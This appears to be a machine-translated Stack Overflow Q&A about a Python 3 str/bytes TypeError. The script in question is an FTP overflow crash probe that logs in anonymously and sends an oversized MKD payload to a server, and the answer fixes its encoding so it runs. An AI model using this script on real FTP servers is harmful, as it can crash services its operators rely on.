python3无法将字节隐式转换为对象'str'

hckn0

我尝试了其他问题的一些解决方案,但无法解决。这是我的代码:

#/usr/bin/env python
#-*- coding: UTF-8 -*-
import socket
import sys
ip = "192.168.0.28"
port = 21
data = "hckn"*250
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn = s.connect((ip,port))
except:
    print("[-] Baglanti basarisiz")
    sys.exit()

s.recv(1024)
s.send("USER anonymous\r\n".encode('utf-8'))
s.recv(1024)
s.send("PASS anonymous\r\n".encode('utf-8'))
print("[+]Gizli baglanti saglandi")


s.recv(1024)

s.send('MKD'+data+'\r\n'.encode('ascii'))
print("Data yollandı")
s.recv(1024)
s.send('QUIT\r\n'.encode('utf-8'))
s.close()

print("[+]Program yakinda hata verecek...")

当我删除“编码”并运行Python2时,它工作正常。但不是说在Python3上

s.send('MKD'+ data +'\ r \ n'.encode('ascii'))

TypeError:无法将字节隐式转换为对象“ str”

迪特里希·埃普

发生这种情况是因为缺少括号:

s.send(('MKD'+data+'\r\n').encode('ascii'))
#      ^                 ^

但是典型的解决方案是只使用字节开头:

data = b"hckn"*250
s.send(b'MKD'+data+b'\r\n')

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章

Boto3和Python3:无法将“字节”对象隐式转换为str

Python3错误:TypeError:无法将“字节”对象隐式转换为str

无法将“字节”对象隐式转换为str

无法将'nonetype'对象隐式转换为str-Python3

无法将'int'对象隐式转换为str:Python 3+

TypeError:无法将“ int”对象隐式转换为str

TypeError:无法将“ int”对象隐式转换为str

TypeError:无法将“列表”对象隐式转换为str

TypeError:无法将“节点”对象隐式转换为str

“无法将'float'对象转换为隐式str“

TypeError:无法将“模块”对象隐式转换为str

python gettext错误:无法将'__proxy__'对象隐式转换为str

Python:TypeError:无法将“生成器”对象隐式转换为str

无法在python 3.4.3中将'int'对象隐式转换为str

“无法将'int'对象隐式转换为str”错误(Python)

Python 错误:写入 json 文件时无法将“列表”对象隐式转换为 str

无法将“ int”对象隐式转换为str。Python错误

TypeError:无法将'int'对象转换为str隐式错误python

TypeError:无法将'int'对象隐式转换为str(python)

TypeError:无法将int隐式转换为str

TypeError-无法将“用户”对象隐式转换为str

Tensorflow TypeError:无法将'numpy.int64'对象转换为隐式str

awscli 错误 - 无法将“NoneType”对象隐式转换为 str

TypeError:无法将“ builtin_function_or_method”对象隐式转换为str

TypeError:使用套接字时无法将“ bytes”对象转换为隐式str

Masonite-TypeError:无法将“未定义”对象隐式转换为str

TypeError:对于Pascode系统,无法将“ int”对象隐式转换为str

Python:将对象隐式转换为str?

TypeError:无法将“ float”对象隐式转换为str或TypeError:-:“ str”和“ float”的不受支持的操作数类型